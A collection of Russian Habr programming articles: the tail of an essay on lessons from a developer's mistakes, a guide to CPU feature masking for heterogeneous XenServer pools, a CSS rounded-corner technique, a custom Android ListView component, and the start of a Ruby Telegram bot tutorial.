> Я знаю, что у вас самые добрые намерения, как и у всех нас. Мы создаем программы и любим писать код. Так уж мы устроены. Мы думаем, что любую проблему можно решить при помощи изоленты, самодельного костыля и щепотки кода. Как бы ни было больно кодерам признавать это, но лучший код — тот код, которого нет. Каждая новая строчка нуждается в отладке и поддержке, ее нужно понимать. Добавляя новый код, вы должны делать это с неохотой и отвращением, потому что все другие варианты оказались исчерпаны. Многие программисты пишут слишком много кода, делая его нашим врагом.
Если бы я написала более простой код, покрывавший общие случаи, то при необходимости его было бы куда проще обновить. Я же оставила беспорядок, с которым никто не хотел связываться.
Второе место: реклама в соцсетях
================================
Когда я работала в Google над рекламой для соцсетей (помните Myspace?), я написала на C++ что-то вроде этого:
```
for (int i = 0; i < user->interests->length(); i++) {
for (int j = 0; j < user->interests(i)->keywords.length(); j++) {
keywords->add(user->interests(i)->keywords(i)) {
}
}
```
Программисты, возможно, сразу увидят ошибку: последним аргументом должен быть j, а не i. Модульное тестирование не выявило ошибку, не заметил ее и мой проверяющий. Был проведен запуск, и как-то ночью мой код отправился на сервер и обвалил все компьютеры в дата-центре.
Ничего страшного не произошло. Ни у кого ничего не сломалось, потому что перед глобальным запуском код тестировался в пределах одного дата-центра. Разве что SRE-инженеры ненадолго бросили играть в бильярд и сделали небольшой откат. Наутро я получила email с аварийным дампом, исправила код и добавила модульных тестов, которые выявили бы ошибку. Поскольку я следовала протоколу — иначе мой код бы просто не прошел запуск — других проблем не возникло.
### Вынесенный урок
Многие уверены, что подобная крупная ошибка обязательно стоит виновнику увольнения, но это не так: во-первых, все программисты ошибаются, во-вторых, они редко совершают одну ошибку дважды.
На самом деле, у меня есть знакомый программист — блестящий инженер, которого уволили за одну-единственную ошибку. После этого его взяли на работу в Google (и вскоре повысили) — он честно рассказал о допущенной ошибке на интервью, и ее не сочли фатальной.
Вот что [рассказывают](https://www.mbiconcepts.com/watson-sr-and-thoughtful-mistakes.html) о Томасе Уотсоне, легендарном главе IBM:
> Был объявлен госзаказ на сумму около миллиона долларов. Корпорация IBM — а точнее, лично Томас Уотсон-старший — очень хотел его получить. К сожалению, торговый представитель не смог этого сделать, и IBM проиграла тендер. На следующий день этот сотрудник пришел в кабинет к мистеру Уотсону и положил ему на стол конверт. Мистер Уотсон даже не стал в него заглядывать — он ждал сотрудника и знал, что это заявление об уходе.
>
>
>
> Уотсон спросил, что пошло не так.
>
>
>
> Торговый представитель подробно рассказал о ходе тендера. Он назвал допущенные ошибки, которых можно было избежать. Наконец, он сказал: «Мистер Уотсон, спасибо вам за то, что дали мне объясниться. Я знаю, насколько мы нуждались в этом заказе. Я знаю, как он был важен», — и собрался уходить.
>
>
>
> Уотсон подошел к нему у двери, посмотрел ему в глаза и вернул конверт со словами: «Как я могу дать тебе уйти? Я ведь только что вложил миллион долларов в твое образование.
У меня есть футболка, на которой написано: «Если на ошибках и правда учатся, то я уже магистр». На самом деле по части ошибок я доктор наук.
Первое место: App Inventor API
==============================
По-настоящему страшные ошибки затрагивают огромное количество пользователей, становятся достоянием общественности, долго исправляются и допускаются теми, кто мог бы их не допускать. Моя крупнейшая ошибка удовлетворяет всем этим критериям.
### Чем хуже, тем лучше
Я читала [эссе Ричарда Гэбриела](https://www.dreamsongs.com/RiseOfWorseIsBetter.html) об этом подходе в девяностые, будучи аспирантом, и оно мне так нравится, что я задаю его своим студентам. Если вы плохо его помните, освежите память, оно небольшое. В этом эссе желание «сделать как надо» и подход «чем хуже, тем лучше» противопоставляются по многим параметрам, включая простоту.
> Как надо: дизайн должен быть простым в реализации и интерфейсе. Простота интерфейса важнее простоты реализации.
>
>
>
> Чем хуже, тем лучше: дизайн должен быть простым в реализации и интерфейсе. Простота реализации важнее простоты интерфейса.
Забудем об этом на минутку. К сожалению, я забыла об этом на долгие годы.
### App Inventor
Работая в Google, я входила в команду [App Inventor](https://appinventor.mit.edu/), онлайновой среды разработки с поддержкой перетаскивания объектов для начинающих Android-разработчиков. Шел 2009 год, и мы спешили вовремя выпустить альфа-версию, чтобы летом провести мастер-классы для учителей, которые могли бы пользоваться средой при обучении уже осенью. Я вызвалась реализовать спрайты, ностальгируя по тому, как в свое время я писала игры на TI-99/4. Для тех, кто не в курсе: спрайт — это двумерный графический объект, который может перемещаться и взаимодействовать с другими программными элементами. Примеры спрайтов — космические корабли, астероиды, шарики и ракетки.
Мы реализовали объектно-ориентированный App Inventor в Java, так что там просто куча объектов. Поскольку шарики и спрайты ведут себя очень похоже, я создала абстрактный sprite-класс со свойствами (полями) X, Y, Speed (скорость) и Heading (направление). Они обладали одними и теми же методами выявления столкновений, отскока от границы экрана и т.д.
Главное отличие между шариком и спрайтом в том, что именно нарисовано — заполненный круг или растр. Поскольку сначала я реализовала спрайты, логично было указать x- и y-координаты верхнего левого угла места, где располагалось изображение.
Когда спрайты заработали, я решила, что можно реализовать объекты-шарики очень небольшим количеством кода. Проблема была лишь в том, что я пошла самым простым путем (с точки зрения реализатора), указав x- и y-координаты верхнего левого угла контура, обрамляющего шар.
На самом деле нужно было указать x- и y-координаты центра круга, как этому учит любой учебник математики и любой другой источник, упоминающий круги.
В отличие от моих прошлых ошибок, от этой пострадали не только мои коллеги, но и миллионы пользователей App Inventor. Многие из них были детьми или совсем новичками в программировании. Им приходилось выполнять много лишних действий при работе над каждым приложением, в котором присутствовал шар. Если остальные свои ошибки я вспоминаю со смехом, то эта бросает меня в пот и сегодня.
Я наконец-то запатчила эту ошибку лишь недавно, десять лет спустя. «Запатчила», а не «исправила», ведь как говорит Джошуа Блох, API вечны. Не имея возможности внести изменения, которые повлияли бы на существующие программы, мы добавили свойство OriginAtCenter со значением false в старых программах и true во всех будущих. Пользователи могут задать закономерный вопрос, кому вообще пришло в голову расположить точку отсчета где-то, кроме центра. Кому? Одному программисту, который десять лет назад поленился создать нормальный API.
### Вынесенные уроки
Работая над API (что иногда приходится делать почти каждому программисту), вам стоит следовать лучшим советам, изложенным в видео Джошуа Блоха «[Как создать хороший API и почему он так важен](https://www.youtube.com/watch?v=aAb7hSCtvGw)» или [в этом кратком списке](https://www.infoq.com/articles/API-Design-Joshua-Bloch/):
* **API может принести вам как огромную пользу, так и огромный вред**. Хороший API создает постоянных клиентов. Плохой становится вашим вечным кошмаром.
* **Общедоступные API, как и бриллианты, вечны**. Выложитесь на все сто: другого шанса сделать все, как надо, больше не представится.
* **Наметки для API должны быть краткими** — одна страница с сигнатурами классов и методов и описаниями, занимающими не больше строчки. Это позволит вам легко реструктуризировать API, если с первого раза он выйдет не идеальным.
* **Распишите сценарии использования**, прежде чем реализовывать API и даже работать над его спецификацией. Таким образом вы избежите реализации и спецификации полностью нефункционального API.
Если бы я написала хотя бы небольшой конспект с искусственным сценарием, скорее всего, я бы выявила ошибку и исправила бы ее. Если и нет, то это точно бы сделал кто-то из моих коллег. Любое решение, которое имеет далеко идущие последствия, необходимо обдумывать хотя бы день (это касается не только программирования).
Название эссе Ричарда Гэбриела «Чем хуже, тем лучше» указывает на преимущество, которое получает тот, кто первым вышел на рынок — пусть даже с несовершенным продуктом — пока кто-то другой целую вечность гонится за идеалом. Размышляя над кодом спрайтов, я понимаю, что мне даже необязательно было писать больше кода, чтобы сделать все, как надо. Как ни крути, я грубо ошиблась.
Заключение
----------
Программисты совершают ошибки каждый день — будь то написание кода с багами или нежелание попробовать что-то, что повысит их мастерство и продуктивность. Конечно, можно быть программистом и не допуская столь серьезных промахов, какие делала я. Но стать хорошим программистом, не осознавая своих ошибок и не извлекая из них уроков, невозможно.
Мне постоянно встречаются студенты, которым кажется, что они допускают слишком много ошибок и потому не созданы для программирования. Я знаю, насколько распространен в IT синдром самозванца. Надеюсь, вы усвоите перечисленные мной уроки — но помните главный из них: каждый из нас допускает ошибки — стыдные, смешные, страшные. Я буду удивлена и расстроена, если в будущем у меня не наберется материала на продолжение статьи. | https://habr.com/ru/post/475662/ | null | ru | null |
# Гетерогенный пул процессоров в XenServer 6
Не так давно у заказчика появилась необходимость собрать пул виртуальных машин, который должен был состоять из серверов [HP ProLiant](http://welcome.hp.com/country/ru/ru/smb/servers.html) 6 и 5 поколений. Процессоры в этих серверах: Xeon **E5502** и **X3353**. Начиная с версии 5.5 Xen поддерживает гетерогенный пул процессоров.
Описываются 4 типа гетерогенных пулов:1. Добавление более производительного хоста к менеее производительным;
2. Добавление менее производительного хоста к более производительным;
3. Комбинация различных и взаимоисключающих хостов в пул;
4. Комбинация различных CPU c идентичными возможностями.
Тип 1 подразумевает применение к подключаемому CPU маски, чтобы добиться совместимости с существующим пулом, который остается незамаскированным, эта опция автоматически включается в XenServer. Тип 2 подразумевает применение маски к существующему пулу, незамаскированным остается добавляемый сервер. Тип 3 подразумевает применение общей маски к существующему пулу и подключаемому хосту, чтобы добиться их совместимости. Тип 2 и тип 3 поддерживаются через XenAPI и Xe CLI. Тип 4 подходит для моделей с различными маркетинговыми названиями, но одинаковыми наборами флагов и функций.
В одном из блогов я наткнулся на [видео](http://www.youtube.com/watch?feature=player_embedded&v=JC4ecjLbIiU#!), где 2 сервера добавляются в пул без изменения масок вручную. К сожалению, в моем случае при любых комбинациях XenServer выдавал: «This server's hardware is incompatible with the master's». Оставалось только попробовать применить маску.
Применение маски к существующему пулу влияет на работающие виртуальные машины, поэтому необходимо выбрать время для перезагрузки хостов и применения маски.
Дополнительный нюанс в том, что новые и старые процессоры не всегда можно описать как более производительные и менее производительные. Новые модели процессоров часто не используют функций, которые присутствуют в старых процессорах, что может привести к несовместимости. Поэтому не будет гарантии, что при использовании маски хоста с новейшими процессорами достаточно присоединить его к пулу, содержащему старые модели процессоров.
Поддерживаемые комбинации процессоров можно найти в [Hardware Compatibility List](http://hcl.xensource.com/CPUPoolsList.aspx).
Приступаем к выбору варианта маскирования.
В [Citrix Xen Server](http://www.citrix.com/lang/English/lp/lp_2307783.asp) необходимо определиться какие процессоры используются на хостах.
В нашем случае это были **X3353** (4 cores 2.66GHz) и **E5502** (2 cores 1.86GHz).
Рассмотрим атрибуты процессоров с помощью команды `xe host-cpu-info` в Citrix XenServer.
```
[host_a] # xe host-cpu-info
cpu_count : 4
vendor: GenuineIntel
speed: 1866.734
modelname: Intel(R) Xeon(R) CPU E5502 @ 1.87GHz
family: 6
model: 26
stepping: 5
flags: fpu de tsc msr pae mce cx8 apic sep mtrr mca cmov pat clflush acpi mmx fxsr sse sse2 ss ht nx constant_tsc pni vmx est ssse3 sse4_1 sse4_2 popcnt
features: 009ce3bd-bfebfbff-00000001-28100800
features_after_reboot: 009ce3bd-bfebfbff-00000001-28100800
physical_features: 009ce3bd-bfebfbff-00000001-28100800
maskable: full
```
```
[host_b] # xe host-cpu-info
cpu_count : 4
vendor: GenuineIntel
speed: 2666.668
modelname: Intel(R) Xeon(R) CPU X3353 @ 2.66GHz
family: 6
model: 23
stepping: 6
flags: fpu de tsc msr pae mce cx8 apic sep mtrr mca cmov pat clflush acpi mmx fxsr sse sse2 ss ht constant_tsc pni vmx est ssse3 sse4_1
features: 000ce3bd-bfebfbff-00000001-20000800
features_after_reboot: 000ce3bd-bfebfbff-00000001-20000800
physical_features: 000ce3bd-bfebfbff-00000001-20000800
maskable: base
```
Сохраняем результаты в E5502.txt и X3353.txt.
В XenServer 5.5 существует условие, что процессоры могут быть добавлены в пул только если у них одинаковый вендор, модель, семейство и значения флагов.
Начиная с версии 5.6 только значения флагов у пула серверов и подключаемого хоста должны быть идентичными для создания гетерогенного пула.
Проверить маски на совместимость можно с помощью [Heterogeneous CPU Pool Self-Test Kit](http://www.citrix.com/ready/hcl):
```
# ./compare-cpu E5502.txt X3353.txt -v
file1: E5502.txt
file2: X3353.txt
pool_mask: ffffff7f-ffffffff-ffffffff-ffffffff
CPU 1:
model name: Intel(R) Xeon(R) CPU E5502 @ 1.87GHz
features: 009ce3bd-bfebfbff-00000001-28100800
masking level: full
CPU 2:
model name: Intel(R) Xeon(R) CPU X3353 @ 2.66GHz
features: 000ce3bd-bfebfbff-00000001-20000800
masking level: base
Result: CPU 1 and CPU 2 are compatible for masking
Mask type: 1 CPU 1 has a superset of features to CPU 2
Mask: 000ce3bd-bfebfbff-00000001-20000800
```
И наоборот, если бы добавляли X3353 к пулу с процессорами E5502:
```
# ./compare-cpu X3353.txt E5502.txt -v
file1: X3353.txt
file2: E5502.txt
pool_mask: ffffff7f-ffffffff-ffffffff-ffffffff
CPU 1:
model name: Intel(R) Xeon(R) CPU X3353 @ 2.66GHz
features: 000ce3bd-bfebfbff-00000001-20000800
masking level: base
CPU 2:
model name: Intel(R) Xeon(R) CPU E5502 @ 1.87GHz
features: 009ce3bd-bfebfbff-00000001-28100800
masking level: full
Result: CPU 1 and CPU 2 are compatible for masking
Mask type: 2 CPU 1 has a subset of features to CPU 2
Mask: 000ce3bd-bfebfbff-00000001-20000800
```
Маска идентичная, но тип действия другой.
Какие же функции процессоров сравниваются? Есть 2 набора функций процессора: базовые функции и расширенные. Оба типа разделены на 2 половины, известные как ECX и EDX. Определение вариантов маскировки для данной пары процессоров требует сравнения значений функций в сочетании с уровнем маскировки данных процессоров. Для краткости XenServer хранит значения функций в шестнадцатеричном виде.
Рассмотрим функции процессоров E5502 и X3353:
```
|| CPU model || base_ecx || base_edx || ext_ecx || ext_edx || Masking level ||
| E5502 | 009ce3bd | bfebfbff | 00000001 | 28100800 | full |
| X3353 | 000ce3bd | bfebfbff | 00000001 | 20000800 | base |
```
Различия есть в Base\_ecx и Ext\_edx, преобразуем функции в двоичный код, чтобы увидеть конкретные различия в битах функций:
```
|| CPU model || base_ecx (bin) || ext_edx (bin) ||
| E5502 | 000100111001110001110111101 |101000000100000000100000000000 |
| X3353 | 000000011001110001110111101 |100000000000000000100000000000 |
| | x x | x x |
| | 24 21 0 | 28 21 0 |
```
В процессоре E5502 в base\_ecx присутствуют биты 21 и 24, которые отсутствуют в процессоре X3353. В функциях ext\_edx в процессоре E5502 присутствуют биты 21 и 28, которые отсутствуют в X3353. Т.к. процессор E5502 полностью поддерживает маскировку (masking level: full), а процессор X3353 поддерживает маскировку на базовом уровне (masking level: base), то объединяющая маска возможна. Маска может быть рассчитана путем вычисления побитового И, взаимоисключающие функции процессоров будут отключены.
```
|| CPU model || base_ecx (bin) || ext_edx (bin) ||
| E5502 | 000100111001110001110111101 |101000000100000000100000000000 |
| X3353 | 000000011001110001110111101 |100000000000000000100000000000 |
| | x x | x x |
| Joint | 000000011001110001110111101 | 100000000000000000100000000000 |
```
Переводим в шестнадцатеричный вид:
```
|| base_ecx || ext_edx ||
| 000ce3bd | 20000800|
```
Складываем эти значения с неизмененными ext\_ecx и base\_edx и получаем маску объединения:
`000ce3bd-bfebfbff-00000001-20000800`
Посмотрев в Hardware Compatibility List, убеждаемся, что маска была правильная.
Осталось применить маску к хосту с процессором E5502:
```
xe host-set-cpu-features features=000ce3bd-bfebfbff-00000001-20000800 uuid=
```
После перезагрузки хоста, у процессора E5502 те же функции, что и у X3353:
```
# xe host-cpu-info
cpu_count : 4
vendor: GenuineIntel
speed: 1866.734
modelname: Intel(R) Xeon(R) CPU E5502 @ 1.87GHz
family: 6
model: 26
stepping: 5
flags: fpu de tsc msr pae mce cx8 apic sep mtrr mca cmov pat clflush acpi mmx fxsr sse sse2 ss ht nx constant_tsc pni vmx est ssse3 sse4_1 sse4_2 popcnt
features: 000ce3bd-bfebfbff-00000001-20000800
features_after_reboot: 000ce3bd-bfebfbff-00000001-20000800
physical_features: 009ce3bd-bfebfbff-00000001-28100800
maskable: full
```
Physical Features при этом не изменяются.
На данный момент в матрице совместимости [матрице совместимости](http://hcl.xensource.com/CPUPoolsList.aspx) нет новых процессоров E5-2400 и E5-2600 и маскирование новых процессоров на поколении Gen8 будет поддерживаться после выхода очередного обновления BIOS для серверов HP ProLiant:
```
# xe host-cpu-info
cpu_count : 32
vendor: GenuineIntel
speed: 2700.068
modelname: Intel(R) Xeon(R) CPU E5-2680 0 @ 2.70GHz
family: 6
model: 45
stepping: 7
flags: fpu de tsc msr pae mce cx8 apic sep mtrr mca cmov pat clflush acpi mmx fxsr sse sse2 ss ht nx constant_tsc nonstop_tsc aperfmperf pni pclmulqdq vmx est ssse3 sse4_1 sse4_2 x2apic popcnt aes hypervisor ida arat tpr_shadow vnmi flexpriority ept vpid
features: 17bee3ff-bfebfbff-00000001-2c100800
features_after_reboot: 17bee3ff-bfebfbff-00000001-2c100800
physical_features: 17bee3ff-bfebfbff-00000001-2c100800
maskable: no
```
Можно видеть, что функции процессора E5-2680 отличаются от функций E5502 только в base\_ecx и новые процессоры поддерживают Flex Migration feature (как и должно быть), маска будет иметь вид:
`009ce3bd-bfebfbff-00000001-2c100800` , но только с обновленной версией BIOS. Согласно [матрице CPU](http://hcl.xensource.com/CPUMatrix.aspx)процессоры E5-2600 поддерживаются и могут использоваться в XenServer 6.0, но пока только в гомогенных пулах. | https://habr.com/ru/post/145665/ | null | ru | null |
# Скругление углов на чистом CSS с анти-алисингом
Вношу свои 5 копеек в проблему скругления уголков. Хочу предложить метод, который не революционный, а просто несколько усовершенствует другой.
Многие знакомы с методом скругления уголков средствами CSS, который активно использует Гугл. Я лично познакомился с ним на сайте [Шторкин.ру](http://www.shtorkin.ru/demo_rc "Скругление углов методом CSS").
Метод сделан на чистом CSS, без картинок, без JS, полностью кроссбраузерный. Он спокойно тянется в ширину и высоту. Единственный его недостаток: отсутствие сглаженности (алиасинг). В принципе, все вполне поправимо.
Итак, в фотошопе сделан вариант со сглаживанием. Выясняется, что необходимо всего-то добавить 7 пикселей, из которых 4 цвета примерно наполовину светлее цвета блока, и 3 еще светлее, почти сливаются с фоном.
Берем за основу вариант со Шторкин.ру:
[](http://vadimgalkin.pp.ru/design/skrgl/1vers/ "Работающий вариант")
Исходный код:
`</code><br/>
<code>.grc {padding: 5px 15px;}</code><br/>
<code>.grc .e{display:block; position: relative;}</code><br/>
<code>.grc .e \*{display: block; overflow: hidden; position: relative; z-index: 2; font-size: 0px;}</code><br/>
<code>.grc b.e b, .grc b.e i, .grc b.e u {height: 1px !important; background: #1d5198;}</code><br/>
<code>.grc b.e b{margin: 0 5px;}</code><br/>
<code>.grc b.e i{margin: 0 3px;}</code><br/>
<code>.grc b.e u{margin: 0 2px;}</code><br/>
<code>.grc b.e span{margin: 0 1px; height: 2px !important; background: #1d5198;}</code><br/>
<code>.grc div{background: #1d5198; padding: 0 10px; color: white;}</code><br/>
<code>`
`Вокруг этого блока углы скруглены без сглаживания.
Вес кода 730 Kb.`
Как это работает?
-----------------
Верхняя часть блока высотой в 5 пикселей состоит из четырех вытянутых в ширину блоков. 3 блока имеют высоту в один пиксель, и еще один блок высоту 2 пикселя. Блоки имеют отступы в 5, 3, 2 и 1 пиксель слева и справа и таким образом получается эффект скругления.
Добавляем первый полутоновый цвет
---------------------------------
Дописываем не сложные свойства для всех наших вытянутых блоков:
`.grc b.e b, .grc b.e i, .grc b.e u, .grc b.e span {border-left:1px solid #9eb4d3;border-right:1px solid #9eb4d3;}`
а заодно уменьшаем отступы этих блоков на 1 пиксель. Получаем результат:
[](http://vadimgalkin.pp.ru/design/skrgl/2vers/ "Работающий вариант")
Что же, смотрится уже гораздо более сглажено, появился анти-алиасинг, так сказать. И код увеличился всего на 120 байт.
Добавляем второй полутоновый цвет
---------------------------------
Слева два полутона в ряд — не лучший вариант, поэтому дробим блок высотой в 2 пикселя на два по 1 пикселю, и верхнему задаем новый цвет левого и правого бордера. Вот что получаем:
[](http://vadimgalkin.pp.ru/design/skrgl/3vers/ "Работающий вариант")
Код добавился всего на 80 байт, смотрится еще лучше.
Доводим нашу идею до логического конца
--------------------------------------
Раз уж ввели второй полутоновый цвет, то давайте доведем нашу идею до конца. Верхним двум слоям надо добавить дополнительный левый и правый бордер. Для этого создаем еще один блок, который помещаем внутрь двух верхних блоков. Уменьшаем отступы этих блоков еще на пиксель. И вот что получается:
[](http://vadimgalkin.pp.ru/design/skrgl/4vers/ "Работающий вариант")
Код увеличился на 400 байт, что по нашим временам не много. Сохранилась полная кроссбраузерность, отсутствие фоновых картинок и JS, нет ограничений по ширине и высоте блока. Смотрится скругление помягче, так, как будто уголок готовили в фотошопе.
Конечный код:
`</code><br/>
<code>.grc {padding: 5px 15px;}</code><br/>
<code>.grc .e{display:block; position: relative;}</code><br/>
<code>.grc .e \*{display: block; overflow: hidden; position: relative; z-index: 2; font-size: 0px;}</code><br/>
<code>.grc b.e b, .grc b.e i, .grc b.e u, .grc b.e s, .grc b.e span, .grc b.e strong {height: 1px !important; background: #1d5198;}</code><br/>
<code>.grc b.e b, .grc b.e i, .grc b.e s {border-left:1px solid #f1f4f9; border-right:1px solid #f1f4f9;}</code><br/>
<code>.grc b.e u, .grc b.e b strong, .grc b.e i strong, .grc b.e span {border-left:1px solid #9eb4d3; border-right:1px solid #9eb4d3;}</code><br/>
<code>.grc b.e b{margin: 0 3px;}</code><br/>
<code>.grc b.e i{margin: 0 1px;}</code><br/>
<code>.grc b.e u{margin: 0 1px;}</code><br/>
<code>.grc b.e s{margin: 0;}</code><br/>
<code>.grc b.e b strong, .grc b.e i strong {margin: 0;}</code><br/>
<code>.grc b.e span{margin: 0;}</code><br/>
<code>.grc div{background: #1d5198; padding: 0 10px; color: white;}</code><br/>
<code>`
`Здесь применено углубленное двойное сглаживание.
Вес кода 1 130 Kb.`
Немного философии
-----------------
В первом варианте, в котором есть небольшая «лесенка», создает примерно такое ощущение:
Взгляд, сталкиваясь с «лесенкой», а не с плавной линией, дорисовывает лишние зубчики. Но значит ли это, что сглаживание намного лучше? Вот, что дорисовывает взгляд, глядя на скругленную картинку:
Появляется ощущение небольшого блюра. Все это связано с тем, что пиксель на экране по прежнему является достаточно большим, и добиться четкости полиграфии еще не возможно, даже пользуясь фоновой картинкой.
Конечно, на картинках все утрированно, на реальных примерах это еле заметно.
Какой метод использовать, с лесенкой или со сглаживанием? Думаю, это зависит от общего настроения сайта. Гугл использует скругление с лесенкой, и это подчеркивает его аскетизм. На каком-нибудь сайте, посвященном постельному белью или подушкам лучше использовать сглаживание.
Недостаток №1 метода
--------------------
Так ли все хорошо? Не совсем. Изначальный вариант спокойно ложиться на любой фон, на белый, на черный, на любой цвет или фоновый рисунок. А наш вариант красиво ляжет только на белый или светлый фон. Если фон будет черным или темным, то полутоновые цвета надо будет готовить исходя из других оттенков. А если на разных участках страницы фон разный, то придется писать отдельные стили.
Правда, тут есть нюанс. Вставлять сглаживание есть смысл, если только фон и блок очень контрастных цветов. Если контраст не сильный, то сглаживание не имеет смысла, легче применить исходный вариант.
Впрочем, можно попробовать поиграть со свойством opacity. Вместо бордеров создаем блоки высотой и шириной в 1 пиксель, и задаем им цвет блока и полупрозрачность 0.6 и 0.2. Получаем графиконезависимый код, но и тут не все гладко:
1. opacity не поддерживается ИЕ, при чем в 8-й версии тоже.
2. код резко разбухает и усложняется, добавляется сразу 7 дополнительных блоков. Стоят ли муки результата? На мой взгляд нет.
Недостаток №2 метода
--------------------
Второй недостаток метода в том, что в нем сложно менять радиус. Здесь радиус визуально составляет 5-6 пикселей. Если увеличить радиус в двое, то блоков должно быть уже 10, различный полутонов необходимо будет ввести не меньше 5, но скорее всего 7-8, в коде легко запутаться.
А методы с использованием картинок или JS легко справляются с этой задачей.
Недостаток №3 метода
--------------------
Как указали в комментариях [foxweb](http://foxweb.habrahabr.ru/), [homm](http://homm.habrahabr.ru/), [SelenIT](http://selenit.habrahabr.ru/) и [reaferon](http://reaferon.habrahabr.ru/) главный недостаток: очень сложный код. С точки зрения семантики это не чистый CSS, а практически хак.
Авторство и лицензия
--------------------
Код распространяется бесплатно, ничего супер-навороченного в нем нет. По сути это просто идея, которая не лицензируется. Пользуйтесь и модифицируйте на здоровье.
Автор текста и картинок Вадим Галкин. Автор исходного кода [Семен «Шторкин» Орлов](http://shtorkin.habrahabr.ru/ "Семен «Шторкин» Орлов"). При опубликовании статьи прошу ссылаться на [мою персональную страницу](http://vadimgalkin.pp.ru/ "Персональная страница Вадима Галкина").
Пост скрипт
-----------
На следующий день, после опубликования данного поста, [XAMelleOH](http://xamelleoh.habrahabr.ru/) предложил вариант, который по сравнению с моим методом обладает рядом преимуществ:
— гораздо легче менять радиус,
— полупрозрачность,
— более простой код.
[Рекомендую](http://habrahabr.ru/blogs/css/64016/).
Пост скрипт 2015
----------------
Сейчас читаю эту статью и кажется, что писал ее не 6 лет назад, а до полета Гагрина. Как быстро меняется наша индустрия и инструменты! Тот, кто изучает CSS сейчас, думаю, уверен, что *border-radius* был всегда. Это же так очевидно! | https://habr.com/ru/post/63983/ | null | ru | null |
# Создание нестандартного компонента на основе ListView
Для приложения под Android мне понадобился элемент интерфейса, отдаленно напоминающий DatePicker. Он должен уметь:
* прокручивать список от начала и до конца (но не по кругу), так чтобы выделять центральный элемент.
* по мере удаления элемента от центра компонента изменять шрифт и прозрачность цифр
* “доводить“ список до нужного элемента
* отображать заданное количество элементов на экране
* определять направление скроллинга (вверх или вниз)
* рисовать тень для содержимого текстовых окон
Должен получиться компонент подобного вида:
Унаследуем наш компонент RollView от LinearLayout с дочерним элементом ListView. Внутри компонента реализуем интерфейс OnScrollListener для определения поведения ListView при скроллинге.
```
public class RollView extends LinearLayout implements OnScrollListener{
private final ListView innerListView;
}
```
В конструкторе инициализируем ListView через xml файл и присваиваем слушателя.
Для представления данных создадим внутренний адаптер с переопределенным методом getView():
```
private class RollAdapter extends ArrayAdapter {
private final LayoutInflater mInflater;
@Override
public View getView(int position, View convertView, ViewGroup parent) {
if (convertView == null){
convertView = mInflater.inflate(R.layout.roll\_view\_adapter, null);
convertView.setLayoutParams(mParams);
}
TextView tv = (TextView) convertView.findViewById(R.id.text);
tv.setTag(position); // записываем позицию элемента
tv.setText(getItem(position));
convertView.setTag(tv); //записываем ссылку на TextView в тег
if (!listViews.contains(convertView))
listViews.add(convertView); // в список для последующего обновления размера текста
return convertView;
}
}
```
Все View из метода getView будем записывать в ArrayList, чтобы изменять их параметры. Метод refreshLayoutParams() задает размеры для элементов списка в зависимости от количества видимых элементов. Больше в классе адаптера ничего делать не будем.
Для того, чтобы можно было сдвинуть первый элемент списка в середину добавим в начало и конец массива пустые строки.
Теперь нужно обработать скроллинг в методах onScroll и onScrollStateChanged:
```
private int lastFirstVisibleElement; // индекс предыдущего "первого видимого элемента" для определения направления скроллинга
private int centralIndex; //индекс элемента находящегося в центре
@Override
public void onScroll(AbsListView view, int firstVisibleItem,
int visibleItemCount, int totalItemCount) {
refreshTextViews(); //обновление размера текста и прозрачности
//Для определения направления скроллинга
if (lastFirstVisibleElement > firstVisibleItem){
Log.i("RollView", "Scroll up");
}
else if (lastFirstVisibleElement < firstVisibleItem){
Log.i("RollView", "Scroll down");
}
lastFirstVisibleElement = firstVisibleItem;
}
@Override
public void onScrollStateChanged(AbsListView view, int scrollState) {
//После отпускания пальца
if (scrollState == SCROLL_STATE_IDLE){
//Плавная доводка
smoothScrollToPositionFromTop(centralIndex - totalElementVisible / 2 , 0, 1);
}
```
Метод refreshTextViews() отвечает за изменение размера текста и прозрачности в зависимости от положения элемента:
```
public void refreshTextViews(){
float maxTextSize = 0;
for (View v : listViews){
int centerOfViewY = v.getBottom() - (mAdapter.mParams.height / 2);
ShadowTextView tv = (ShadowTextView) v.getTag();
float coefficient = (Math.abs(centerOfViewY - mAdapter.centerLineY)) / (float)mAdapter.centerLineY;
float scale = 0;
//Если коэффициент больше 1 - значит элемент за пределами видимости
if (coefficient < 1)
scale = Math.abs(coefficient - 1);
tv.setAlpha(scale);
//Определяем элемент с наибольшим размером текста для доводки к нему
float textSize = CENTRAL_TEXT_SIZE * scale;
if (textSize > maxTextSize){
maxTextSize = textSize;
centralIndex = (Integer) tv.getTag();
}
tv.setTextSize(textSize);
}
}
```
Осталось добавить тени для текста. Для этого создадим унаследованный от TextView компонент ShadowTextView. Для рисования текста с тенями нужно создать кисть(Paint) и задать ей параметры:
**Параметры кисти**private final Paint mPaint = new Paint();
```
// Параметры кисти для рисования теней
private void initPaint(){
mPaint.setAntiAlias(true);
mPaint.setTextSize(getTextSize());
mPaint.setColor(Color.WHITE);
mPaint.setStrokeWidth(2.0f);
mPaint.setStyle(Paint.Style.FILL);
mPaint.setTextAlign(Paint.Align.CENTER);
mPaint.setShadowLayer(10.0f, 0.0f, 0.0f, Color.BLACK);
}
```
и в методе onDraw() перерисовать компонент:
```
private final Rect mBounds = new Rect(); // границы текста
@Override
protected void onDraw(Canvas canvas){
canvas.drawColor(Color.TRANSPARENT);
int x = getWidth() / 2;
int y = (getHeight() + mBounds.height()) / 2;
canvas.drawText(getText().toString(), x, y, mPaint);
}
}
```
Для перерисовки теней из RollView добавим метод redraw():
```
public void redraw(){
text = getText().toString();
mPaint.setTextSize(getTextSize());
mPaint.getTextBounds(text, 0, getText().toString().length() , mBounds);
invalidate();
}
```
Осталось только заменить TextView в на ShadowTextView и вызвать в методе refreshTextViews метод tv.redraw();
Теперь для получения выбранного пользователем значения осталось только добавить методы getCurrentItemValue() и getCurrentItemIndex().
Наглядная демонстрация работы:
Ссылка на полный проект:
[https://bitbucket.org/msinchevskaya/rollview](http://bitbucket.org/msinchevskaya/rollview) | https://habr.com/ru/post/225649/ | null | ru | null |
# Пошаговый туториал по написанию Telegram бота на Ruby (native)
**Приветики-омлетики**, как-то недавно у меня появилась идея написать Telegram бота на **Ruby** на специфическую тематику, в двух словах этот бот должен был предоставлять участникам чата (где он присутствует) развлекательную тестовую игру, в случайное время происходило определённое событие, участникам нужно было "разруливать" ситуацию с помощью команд и таким образом зарабатывать очки становясь лучшим в чате.
